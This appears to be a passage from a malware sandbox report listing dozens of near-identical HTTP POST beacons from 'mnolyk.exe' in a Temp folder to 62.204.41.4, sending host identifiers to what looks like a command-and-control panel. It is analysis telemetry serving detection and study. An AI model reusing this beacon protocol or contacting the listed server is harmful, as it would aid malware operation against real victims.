Feb 7, 2023 23:09:00.761131048 CET	558	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:00.826219082 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
444	192.168.2.7	50139	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:01.006926060 CET	559	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:01.071893930 CET	559	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
445	192.168.2.7	50140	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:01.270108938 CET	560	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:01.334685087 CET	560	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
446	192.168.2.7	50141	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:01.548249006 CET	561	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:01.614281893 CET	561	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
447	192.168.2.7	50142	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:01.792841911 CET	562	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:01.858047009 CET	562	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
448	192.168.2.7	50143	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:02.035666943 CET	563	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:02.103218079 CET	563	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
449	192.168.2.7	50144	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:02.280525923 CET	564	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:02.344717026 CET	564	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.7	49739	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:12.501528978 CET	149	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:12.565644026 CET	149	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
450	192.168.2.7	50145	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:02.533585072 CET	565	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:02.596209049 CET	565	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
451	192.168.2.7	50146	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:02.779772997 CET	566	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:02.843532085 CET	566	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
452	192.168.2.7	50147	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:03.026189089 CET	567	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:03.088977098 CET	567	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
453	192.168.2.7	50148	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:03.260796070 CET	568	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:03.325751066 CET	568	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
454	192.168.2.7	50149	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:03.555506945 CET	569	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:03.621136904 CET	569	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
455	192.168.2.7	50150	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:03.798727989 CET	570	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:03.862282038 CET	570	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
456	192.168.2.7	50151	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:04.039199114 CET	571	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:04.100732088 CET	571	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
457	192.168.2.7	50152	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:04.274600029 CET	572	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:04.338808060 CET	572	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
458	192.168.2.7	50153	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:04.508858919 CET	573	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:04.573116064 CET	573	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
459	192.168.2.7	50154	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:04.744163036 CET	574	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:04.807847977 CET	574	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.7	49740	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:12.735379934 CET	150	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:12.798036098 CET	150	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
460	192.168.2.7	50155	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:04.977917910 CET	575	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:05.042330980 CET	575	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
461	192.168.2.7	50156	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:05.211996078 CET	576	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:05.274806023 CET	576	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
462	192.168.2.7	50157	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:05.447047949 CET	577	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
